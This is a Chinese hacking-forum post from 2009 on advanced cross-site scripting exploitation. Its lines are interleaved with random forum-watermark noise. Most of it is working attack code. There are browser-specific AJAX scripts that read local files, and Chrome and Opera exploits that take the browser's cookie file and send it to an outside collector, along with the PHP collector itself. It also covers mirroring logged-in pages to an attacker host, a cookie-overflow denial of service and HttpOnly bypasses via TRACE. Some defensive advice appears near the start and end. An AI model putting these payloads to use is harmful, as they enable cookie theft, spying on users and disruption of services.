XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* I( ~' Y5 t$ @) r1 L+ r9 K1 s本帖最后由 racle 于 2009-5-30 09:19 编辑
3 H$ L* p: C" z
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
  V8 ]2 U' M( U2 ZBy racle@tian6.com   
3 o1 L! |7 f6 N7 M: h* I5 o6 F7 ehttp://bbs.tian6.com/thread-12711-1-1.html
) t! w) s2 ]: n+ |! R& M转帖请保留版权

; \! I5 m6 {: z- }! I

" `5 e5 ]) ?0 N% M/ `-------------------------------------------前言---------------------------------------------------------
. @, a2 @6 K/ z

本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
; y/ R" _3 q9 C! Z/ V: _
" t5 |" \4 P# P! u1 A/ K
4 e0 \" w) J6 C如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
" F9 g( e. @+ G! N* \" ]( mhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
8 B, D/ \$ T( O; z9 |6 N' K* uhttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
% [6 P. C: _9 Fhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持

" u8 t6 u$ L# ~, f" `0 D. P& e
; ]( f, k$ A7 M+ W. }
( m: r6 U3 H# B' q& `
2 N1 {$ e5 \1 L, i# d6 _. J& |如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

; _. a; H* I3 z* g7 b! r4 x5 e希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
7 J, V! P8 G9 j' D6 d- v) U
) }- R. r- [& X. h* w5 P$ n如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.
, Y& Z9 D5 u8 B! e8 i1 p/ k
% }/ P* H) g; d" [. yOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪
# w6 D( |+ B3 V3 W1 V5 B
3 W0 H) q4 W% g, {6 J( l' i/ r) x..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
9 s/ m; d! C9 U% y+ J: B% c# f. R

5 N3 u, L# e" V8 l
0 f0 \( E0 _2 _5 h- P跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:

* w/ ?3 k7 H' M$ G  K9 Q1 D1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?

) [  @9 f! ^" _. I3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

" ~3 L7 A+ V* @5 ]$ {4        XSS漏洞在输出和输入两个方面怎么才能避免.


( l  W7 c: ?- N4 e3 V: z8 c
------------------------------------------研究正题----------------------------------------------------------
  f$ ?& H$ ~1 b
0 S! D- v7 A9 P& Q" d1 @3 K

& p/ G. g) c" a( m9 W通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
" g7 @4 y; q$ ?; Y7 e0 q6 B) ]复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
6 p* p- n1 s: V, ^3 C& E; s复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
! k/ }9 w/ }' w1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
) N0 d$ K4 G' F2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



0 s5 o) g! z7 k# h0 _

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

; ]6 K. g4 l0 r+ B( V5 e$ O

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
! M& h2 [4 T8 O9 v+ l- g
( o# ]# T! R) i% V9 Z1 G
$ K& {& m, \" N7 G5 s% ^# h
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
) W, k* [  k+ |' n

+ b! N* S9 m6 U8 F" V
2 Q0 b9 Y# [* o    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
- f, O' X: t5 E% O3 A& S( P0 K3 N
* c6 h( G  r& E- n# z    function $(x){return document.getElementById(x)}


& Z0 D& m- H: l3 N2 Z: P
- |' t, _1 w- @4 Y. k6 l/ z7 `" }    function ajax_obj(){

    var request = false;
! u4 N5 u" P" n& i
    if(window.XMLHttpRequest) {
& ^; y  y; i( K1 B! @; U) ^
    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


% `  Q' s* t" W7 D7 t
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
- a" a7 a+ \5 c) J! r) A
    try {

    request = new ActiveXObject(versions);
5 q1 ?& a" R0 W
! g' K+ }- t/ F5 b& ~5 f6 u    } catch(e) {}

/ a  L1 ?5 m6 X    }
7 l3 U, Z5 U4 q* C6 ^
* `! ^/ N. i' D/ a    }
( s% U+ T/ L+ J3 X1 |
; }9 }1 E4 e' u$ I7 l    return request;
, U, M7 n5 u, w" U$ V4 X
    }
. w( m0 E2 [& Q9 ~5 a2 k$ m" f
    var _x = ajax_obj();

  C) x- h$ f9 k) }5 ?" F+ O# b    function _7or3(_m,action,argv){

, V& j* e$ A9 L! s+ b    _x.open(_m,action,false);

. V3 n& ]. z4 T, Z$ r( q    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
. }1 N6 p( P" ?8 e2 H: {
    return _x.responseText;
7 _4 f& e# a" ^# K( A/ \8 M
    }
  `  A' T+ g; |/ W# [. _
( O: o% K/ }- A: X0 u$ q
) Z! ~4 I4 G( z' m# Q1 a
1 E/ f9 S3 S! Q4 g1 @    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
' j, `$ K! ]. J2 \5 p3 I
1 h, [4 c; u! j: K4 P( [) D' T9 v    alert(txt);
3 B- Z- n6 p+ y% }; m
: G9 H' g1 B. g, m% Y8 X! `

    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

- X6 Y- S4 m% ]; g    function $(x){return document.getElementById(x)}
  ]% ]" f3 \! Y  E8 i3 d3 {" I- \


& R, F6 p5 v2 B& l! |" I6 r    function ajax_obj(){
1 b- E9 O  E; N) W( U
    var request = false;
& D/ f& H( M% j
    if(window.XMLHttpRequest) {
: l2 j% U: g& J! L8 ~
    request = new XMLHttpRequest();
" Q: v. Z: B  ^/ }
9 {+ b7 {+ e$ B# ]    } else if(window.ActiveXObject) {

+ z( K$ i1 h* x6 y    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
( ?# l3 H6 I9 e/ |


" ^; x$ c# {# p$ v    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& _  g% g& S2 `
- ~6 }7 i; F& j+ S$ m    for(var i=0; i<versions.length; i++) {
5 i/ F0 z$ d, I: |& d% Z5 y/ m
    try {
! z( V" E) N) o& O/ P# Y/ r
1 Y3 P9 K6 n5 a    request = new ActiveXObject(versions);

- b8 n# P1 T' U5 @0 }& Z& e  Z& E8 I    } catch(e) {}
" {2 d# r6 J# x: p
    }

& ~$ u# i# S3 T    }
/ c+ }  l1 _. V* |
    return request;

5 r# V% I; i2 Q, o6 I    }

    var _x = ajax_obj();
' l! {& I; v: A5 i
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
  h$ x! Y! d, S
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
% }' x. t0 V9 p+ b: X3 \- t
    return _x.responseText;
. h+ n* g& y- l) I
    }



    var txt=_7or3("GET","1/11.txt",null);

6 |  W4 f9 f# v) Y    alert(txt);

' j. L7 L* g9 p! n

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
: t( O* V/ @, B8 @
6 a& j' F! o5 I

6 P( B' ~( S; N2 o2 J) NChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
) L- J( m8 u$ i7 B
+ t( p4 q# D/ A1 f: y) P
* y1 B6 \- E; w8 Z5 g
$ F0 I6 c6 O) j, J<?   
4 ]8 J6 J8 D. U/ N2 {" }( i
. A+ _! |% E  W0 o, [/*  

- K/ i' a" ?" ^/ ?# I+ B+ d5 F0 a! ?     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

0 R; Y1 t1 E, P$ v, c& q     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
; G& H2 u8 u7 k) S, Y, q; G
header("Content-Disposition: attachment;filename=kxlzx.htm");   
& h% r# q% d+ U) P5 W  d, v
7 o3 O- h3 Q: ?0 ?header("Content-type: application/kxlzx");   
* \$ w8 q2 x1 F3 d' T8 c. H! }7 h
& k) o3 d5 R% x0 E, H$ Q/*  

     set header, so just download html file,and open it at local.  
& e9 ~4 F# f! H+ Z) o0 H- q
*/  
8 C; O$ i. o8 v8 W) B, r$ m" N" R
) S. ~. c$ l: G& B. `% e?>   

5 L& u  x2 k# j  S<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
+ V6 G- R# m) a$ ~
, Z& H7 n% f( Z3 |' [     <input id="input" name="cookie" value="" type="hidden">   
1 J2 I' }4 J4 c: z' ?2 `# P2 w
6 G3 D" U8 V7 K% c1 g" [7 p</form>   

<script>   

. R; K5 j& B" k& ]' Y# ^function doMyAjax(user)   

# N# }" n9 e' c3 R; g( D: Y{   

- N1 C" o- K2 Uvar time = Math.random();   
, g/ S$ W; X9 Q6 I, p- c
' r" \# i' b+ B4 c/*  

, c+ \9 o( w1 H" Ethe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
7 O! P: M& [5 Y6 n9 @, n
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
6 i% o4 L0 ]6 `' J1 W' D1 \
( H; b) \8 p* b* u9 K! dand so on...  

( `: b) k5 m# O, N3 ]6 D8 b*/  
  ~6 z) e' L( A  r" \
& h0 m5 V$ k( ]; t+ Ovar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

1 V" V% T; `1 _8 c4 f6 R  W3 l   
& Q! g# s* g4 z
% U4 s. G0 }# l. \7 LstartRequest(strPer);   
- |. B5 Y1 J; {, M6 b: @

: F. n! X/ e- c3 `
}   
/ E( j7 z' l) y$ g# k, n
' R7 X/ n* ~9 N' V* B7 E   
- c7 s6 r; x3 d7 J
2 s- ~- ]9 B8 b1 Q  efunction Enshellcode(txt)   

3 n2 M7 t5 e; g( h- U{   

! Z& m6 t& c, s+ z3 k0 l: gvar url=new String(txt);   
4 ~/ g5 j5 J5 H, L  _
9 s, M8 |6 H, P# e7 D1 hvar i=0,l=0,k=0,curl="";   
( u1 `: `) F! Y& q. }, ]5 S
/ _9 W" h0 q* V+ Q5 ml= url.length;   
3 T4 R0 w5 m. P  H6 `/ Z
" D/ r% o3 C; p7 ]' {% e. ~for(;i<l;i++){   

) I: z) b2 ~5 [. M4 X/ Pk=url.charCodeAt(i);   
2 {7 t1 \2 w+ N7 [5 Q
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
3 L0 ^, W) F- I2 C5 m& d
1 h0 j- I1 @/ N$ K# {. d; gif (l%2){curl+="00";}else{curl+="0000";}   
+ U7 b. E- C& M
- U  o# {: w; n1 V4 jcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
- X: E: v5 y6 ~6 Q0 b
}   
6 I+ \, B" b2 Z1 |
) Z. b) k! W, C! j9 r9 B   
; E0 c/ E5 b  b" G" k* X
4 u/ i$ g. b7 z% g7 j: S7 n5 K   

var xmlHttp;   

function createXMLHttp(){   

     if(window.XMLHttpRequest){   

4 S! x3 z9 p. k2 O0 O3 ]/ Q& U' A% lxmlHttp = new XMLHttpRequest();           
9 @# H7 I0 I# \0 H
     }   

4 d2 J  d' S) r1 |. {1 S     else if(window.ActiveXObject){   

: i& I" q7 p' Y3 F0 exmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   
. q1 G0 `* g1 M
}   
0 [4 N. J) E: C$ d6 l! x3 N7 b
   

6 W' E1 l$ \: |3 `5 L7 }- yfunction startRequest(doUrl){   

/ |- J: D2 L7 D) K" l: h  Q% U   

) R7 o( f; M# O8 |6 ?% @+ L! C     createXMLHttp();   


- r2 A7 D) \. Q3 W
7 e) i' K7 s: Z% d' ~     xmlHttp.onreadystatechange = handleStateChange;   


9 J- U+ V9 g$ ?# _  p. [
6 ?; n& i7 ?9 L( e) L. P     xmlHttp.open("GET", doUrl, true);   
& P- C8 t! p* A7 B3 C, e$ J
; A4 O+ ^# f( U5 \) i
# M( ?9 Z* E) G, t0 E
     xmlHttp.send(null);   
& Z- y# B( O7 o' J- B9 J) _
3 u7 p1 \: j* c( @& b7 m! q. L
; }0 r( G+ v3 ]5 B: t3 h0 ]  U- q
1 v+ ]2 v. \# P9 W$ Z& b" ^

5 O# z& z& o% s# y0 Y}   
/ \/ ~, y2 s2 ?: }
! p' j* O* F& C3 l6 U5 g+ M   

function handleStateChange(){   

     if (xmlHttp.readyState == 4 ){   

( L1 `: ~# b% C* J     var strResponse = "";   

/ l9 T1 x1 `' a7 {  y5 ?     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   

- [# V2 u0 Z- J        

) [5 P5 j7 k/ b5 J$ }4 A     }   
4 T1 a' V' x, `
}   
" _; d# d! u: ^6 p1 d1 k4 V+ L
   
, W( f( s/ V# G: q7 S* j' I5 z: p
   

% @/ C5 B  S4 }3 p: W! Cfunction framekxlzxPost(text)   

, ]6 ], _" M: v% F# S; e' V{   
! z* C2 S9 ]+ Z( p! c& b9 k
     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   

}   
  N7 z1 I) C5 |6 N% E& G
% E0 t& @& C* n& K; p$ V4 \4 t) F! E   

: X$ r' Q) G( ^+ rdoMyAjax("administrator");   
# b0 D3 \' h: T/ W
2 o, [% r) a: w6 a$ S2 t* z8 h   
) n5 x% _6 l# N
# d9 a$ ~$ E& R  t. Z& A</script>
; o3 k4 ]+ j' X* a8 Q复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

. F: p% s( ]2 R  W& H; i3 Q$ j+ }9 vvar xmlHttp;  

function createXMLHttp(){  
) j5 K' O- X* ?3 Q
     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         
0 ^" a" d: j' _3 p$ ^7 a0 J% o1 t
  Q! g7 |0 \% \2 I3 q     }  

     else if(window.ActiveXObject){  

( {: {0 f9 v: M7 `6 N4 J+ g( k! Z         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

+ ?9 I5 K0 `+ X  T     }  
4 d: `' R3 D; V0 p4 C6 _" P
}  
9 @! M6 e6 o, y" T5 ]
: R; }1 @* g: B8 w0 W+ e, V- s   

function startRequest(doUrl){  
% G% u( C# t5 l% l' x/ V$ h
           

     createXMLHttp();  
! A7 [! {* _- g9 B: l
      

& f8 d! Q, C, i, O& `     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  

) L/ k3 C' ?/ G0 k  p9 T      

/ d- u5 k5 u2 \: y# M3 M     xmlHttp.send(null);  
; ]! [' j* g4 m& H
/ q: W5 Q1 B" x3 D9 U1 R      

' w+ P6 |3 B+ N0 o+ I4 i4 k, U      

# h) P& s- t9 r}   

   
. l6 S* _& {' F+ b( c
function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   

               
- ^8 w/ e' h' J: C; u9 M5 h" _
     }  
8 J* e8 t# V# m5 p+ L1 j) u3 x
}  

   

  Q- q  r: {6 q$ q3 Q# Pfunction doMyAjax(user,file)  
* ^# K+ X4 [& B3 z1 t+ b, B. |
{  

         var time = Math.random();  
% l9 P9 Y* d) M) r' Z
           

# C4 z/ V0 E) |# b6 `         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
3 E4 ]% ^; C( L+ |/ {
           

# X0 D: v) p1 T$ T2 o         startRequest(strPer);  

5 f% g( C0 {3 ]  P% j5 V      

}  

   

% _4 p. e, l3 ~function framekxlzxPost(text)  
0 R0 ^& ]# l/ r' j- Y$ R
" f" N$ }. s7 K! N4 w9 Y{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

( w/ q+ a$ d* U. ~7 e6 K}  
! D8 s# e$ J: M8 j- Z. G9 l
   
. K+ R# Z. n; t/ U% O3 @3 M  u
doMyAjax('administrator','administrator@alibaba[1].txt');  

   

</script>





a.php
/ B4 d7 X% C9 ?+ f* Y  s( _! Z# p
2 m# W# d0 Q/ a% a

<?php      
/ p2 f5 o. R' `) `# l$ d
   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
8 |$ a% |$ T. {; V. ^, [5 Y
6 w% k( P3 W, ~$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

' h; W; I  I1 w/ u  

: s7 b+ V) f- f! ~! S% L* t- I% F$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
% a+ O& T: b- e7 }& @+ W+ ?5 P
fwrite($fp,$_GET["cookie"]);      

0 U& |( [1 k6 q9 i; i$ d5 nfclose($fp);   

" V- y" T# K: a/ l?>
$ l  q! b9 f7 x/ \2 ~9 U复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
4 K4 C1 y# \8 |4 w$ x
$ y& `6 @3 t) L或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
) q4 ^+ A/ P6 @5 u, d利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

% l1 d; D  m; W//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
' q' F1 W1 l9 U5 L, Z$ Q
function getURL(s) {
; `( S# f* [7 l) u/ b& D
  N( k2 {  ^7 v1 E, rvar image = new Image();
. I! Y" z8 `: D( \4 }/ W
image.style.width = 0;

image.style.height = 0;

image.src = s;
- P) B9 }, e  G& p+ E- r
}
. A" I+ C' X3 H1 j* `0 c% U) G
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; }( H9 r& q: g7 T5 Q) }7 Q$ \9 V复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
% v% I, o! H. Q: u3 s
var metastr = "AAAAAAAAAA"; // 10 A
4 S) u  C+ p) B" j+ e/ T; d
2 a6 L- |1 I+ a  Q" T' avar str = "";
0 p2 U# f7 b- a) U3 ~
while (str.length < 4000){

% k. s$ e0 x/ o4 t4 O; h6 Y8 x+ h    str += metastr;

  H0 s8 m6 M; F# O}
, U) M+ P) a$ a) e, ?$ }' B! Y" D
0 |9 S. z2 t8 ]5 [6 w

5 q, E% E  ^1 m$ U& j9 fdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

9 G4 ?  f" `* `, I: f</script>
* Y6 U3 v' s9 `) L1 e
/ p9 \; b7 A' _9 z6 R详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
0 T4 t# r: m- Q& j; C8 K, j  I( Xserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

+ q  J6 T; x/ b: }- e假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
7 L% h8 D5 f; Y  I+ s  w) u7 O3 n攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
% d9 [2 x! s) F& K  j



  i- n6 v* F8 X* `! t7 t
. h; y, S  ], N+ q& v
7 u2 B8 H0 r5 I9 I(III) Http only bypass 与 补救对策:

4 w4 v! R. }( j# u% ]什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

' R& T% l6 T6 j4 r4 kfunction normalCookie() {

+ f# ^/ Y6 X" Rdocument.cookie = "TheCookieName=CookieValue_httpOnly";
5 u& W6 G+ z/ l# w% n) A9 N
1 I& y+ q& C  L2 E" _alert(document.cookie);

}



. D& i6 m2 K/ W8 O5 t$ J$ L9 b  E
/ a' v; I4 E' d1 Y
. h, x" ^" H  q) {" d' U# A% Qfunction httpOnlyCookie() {
9 v# m4 _$ `& [0 ?& E
: N' R  r9 d1 E* z$ H" jdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
; l+ ]  `9 X8 y  e
alert(document.cookie);}

* b1 K2 w# j* }

//-->
" U- k( U4 C4 D
0 [9 L! h- w/ g</script>

# B; ?6 f6 {  W
# z  B. A6 A% Z1 o9 a7 Q- ~
<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
" D/ b- Q/ v, r
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
1 O" r  X7 k0 S/ Y复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
" Q+ ~' F6 Y1 J) g: e

2 e5 e+ {/ o; G' y8 e
& _+ q2 N4 E1 W3 A) n: j' c5 Q  dvar request = false;

) Y3 q: f# J) j  I" R        if(window.XMLHttpRequest) {
: \+ u* ^" M3 e0 v9 G$ f0 ?) r6 p. G
: |* s' N/ _5 l/ ?4 ^% b! t) O- p            request = new XMLHttpRequest();
% r9 x, R5 g1 L$ `, M# E
            if(request.overrideMimeType) {

                request.overrideMimeType('text/xml');

; E# q$ u( x! c& {- o# t8 k8 \            }
* Z4 n1 x  e+ ]
; T' m3 A/ o! M* _# _, B        } else if(window.ActiveXObject) {

" M' `9 D6 u7 e2 |5 v0 C1 `            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
' {2 ?* |, v! d6 G( J+ W' B
+ Q1 H  l4 b2 |' p1 G. r                try {

                    request = new ActiveXObject(versions);
" ~  z9 ]; C, K; r. v
3 k! d- p: `' `# B/ @                } catch(e) {}

8 S4 O/ c( l( a7 ]: f6 ^            }
3 ^; v/ u7 C0 w2 p0 s8 E2 g
        }
3 ^) [9 j2 D; h4 j+ ~2 B
xmlHttp=request;

1 _, k: @) X8 g/ \# dxmlHttp.open("TRACE","http://www.vul.com",false);

: ~% R+ h. K/ i# F6 RxmlHttp.send(null);
2 t  [) c# W# H% _1 j  o
xmlDoc=xmlHttp.responseText;
* s- U7 K( n0 T6 I4 T  \+ W
alert(xmlDoc);

</script>
( r0 g# P3 x6 W复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

% A/ \/ t& R7 ^5 F! @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 D* f8 {: Q* U# s: y/ }6 V
/ E) Z! o: l8 |' |2 c; ^. Q2 KXmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
' U) `4 g1 x4 V* z
var resource=xmlHttp.responseText

- W6 [" ]4 w+ Y- Sresource.search(/cookies/);
+ ]: F4 _4 a5 \1 y8 R- U4 `# E
6 |" c9 ?. M7 t* q5 ~......................
/ z$ `/ D- k+ p$ b
0 y* T( R1 A+ s1 O</script>
" x3 Q; u' V1 f- m# f
' K( n% s, |, e6 [



如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

[code]

RewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE
9 ?. v( v7 {& X
RewriteRule .* - [F]



1 b! a, r! l) v$ V( s0 {4 YSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ J5 I8 o1 W( x8 x; k, j8 T
4 r* r/ S$ t6 `* }( B( ]! uacl TRACE method TRACE
& [' {6 x2 A: A, `
...

% d/ p2 E7 |8 {3 r" ahttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
& a- l6 w/ F  ~
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

, }3 v6 i9 [# w8 XXmlHttp.open("GET","http://www.google.com",false);
% n2 |) j3 q, T
3 |9 p7 e& g: D) u7 f/ d& u" CXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
" T! `0 ]; ]+ l8 K5 ~& M9 X
XmlHttp.send(null);
! W' P1 {# ]5 @* Y- g2 L
</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
# S( U" [0 q. m/ T; R" g9 m7 j
. _( u( c) _, C  Y% l- R6 Xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


